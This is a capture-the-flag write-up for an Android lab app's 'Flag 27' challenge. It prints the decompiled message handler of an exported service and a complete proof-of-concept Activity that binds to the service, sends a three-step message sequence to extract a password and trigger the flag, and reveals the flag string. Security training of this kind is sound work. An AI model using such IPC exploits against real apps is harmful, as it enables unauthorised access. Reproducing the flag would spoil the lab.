Analysis
We’re only interested in handleMessage method in Flag27Service so let’s check it:
Flag27Service#handleMessage
public void handleMessage(Message message) {
Log.i("Flag27Service", "handleMessage(" + message.what + ")");
int i = message.what;
if (i == 1) {
this.echo = message.getData().getString("echo");
Toast.makeText(Flag27Service.this.getApplicationContext(), this.echo, 0).show();
return;
}
if (i != 2) {
if (i == 3) {
String string = message.getData().getString("password");
if (!this.echo.equals("give flag") || !this.password.equals(string)) {
Flag27Service.this.sendReply(message, "no flag");
return;
} else {
Flag27Service.this.sendReply(message, "success! Launching flag activity");
Flag27Service.this.success(this.echo);
return;
}
}
super.handleMessage(message);
return;
}
if (message.obj == null) {
Flag27Service.this.sendReply(message, "Error");
return;
}
Message obtain = Message.obtain((Handler) null, message.what);
Bundle bundle = new Bundle();
String uuid = UUID.randomUUID().toString();
this.password = uuid;
bundle.putString("password", uuid);
obtain.setData(bundle);
try {
message.replyTo.send(obtain);
Flag27Service.this.sendReply(message, "Password");
} catch (RemoteException e) {
throw new RuntimeException(e);
}
}So this challenge consists of 3 steps:
- We need to set
echotogive flagwithmessage.what = 1 - We need to fetch the
passwordfrom the service withmessage.what = 2 - Send a message with the password we got from step2 with
message.what = 3Pretty simple but it took me some while to create the poc so let’s get into it :)
Creating the POC
public class Flag27 extends AppCompatActivity implements NavigationView.OnNavigationItemSelectedListener {
private Messenger serviceMessenger;
private class IncomingHandler extends Handler {
IncomingHandler() {
super(Looper.getMainLooper());
}
@Override
public void handleMessage(Message msg) {
Bundle bundle = msg.getData();
String password = bundle.getString("password");
if (password != null) {
Log.i("Tensai-POC", "Extracted Password: " + password);
sendFinalFlagRequest(password);
}
}
}
private final Messenger clientMessenger = new Messenger(new IncomingHandler());
private final ServiceConnection serviceConnection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Log.v("Tensai-POC", "Service Connected - Flag 27");
serviceMessenger = new Messenger(service);
// STEP 1: Set state
Message msg1 = Message.obtain(null, 1);
Bundle b1 = new Bundle();
b1.putString("echo", "give flag");
msg1.setData(b1);
try {
serviceMessenger.send(msg1);
Log.v("Tensai-POC", "--> Step 1: Sent 'give flag' echo");
} catch (Exception e) { e.printStackTrace(); }
// STEP 2: Request password
Message msg2 = Message.obtain(null, 2);
msg2.obj = new Bundle(); // Must be non-null and Parcelable(Real object)
msg2.replyTo = clientMessenger;
try {
serviceMessenger.send(msg2);
Log.v("Tensai-POC", "--> Step 2: Requested password");
} catch (Exception e) { e.printStackTrace(); }
}
@Override
public void onServiceDisconnected(ComponentName name) {
serviceMessenger = null;
}
};
private void sendFinalFlagRequest(String password) {
if (serviceMessenger == null) return;
// STEP 3: Submit password
Message msg3 = Message.obtain(null, 3);
Bundle b3 = new Bundle();
b3.putString("password", password);
msg3.setData(b3);
// Important as the target app will fail to fire success if it couldn't send the reply
msg3.replyTo = clientMessenger;
try {
serviceMessenger.send(msg3);
Log.v("Tensai-POC", "--> Step 3: Sent password back to service");
} catch (Exception e) { e.printStackTrace(); }
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_flag27);
getSupportActionBar().setTitle("Flag 27");
findViewById(R.id.button_flag27).setOnClickListener(v -> {
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag27Service");
bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
});
}
@Override
// To make sure we closed any connection with the service when we close the app
protected void onDestroy() {
super.onDestroy();
try { unbindService(serviceConnection); } catch (Exception ignored) {}
}
}Here’s the flow of the code visualized for better understanding

A very important part in the code is this line here:
msg3.replyTo = clientMessenger;We only do this as in the target’s code we see this in case of success:
else {
Flag27Service.this.sendReply(message, "success! Launching flag activity");
Flag27Service.this.success(this.echo);
return;
}So the app sends a reply first stating success then firing the success method, if we didn’t have the reply handler the target app will crash thus not running it’s next line which is calling success

Flag
HXT{service-messages-js71h}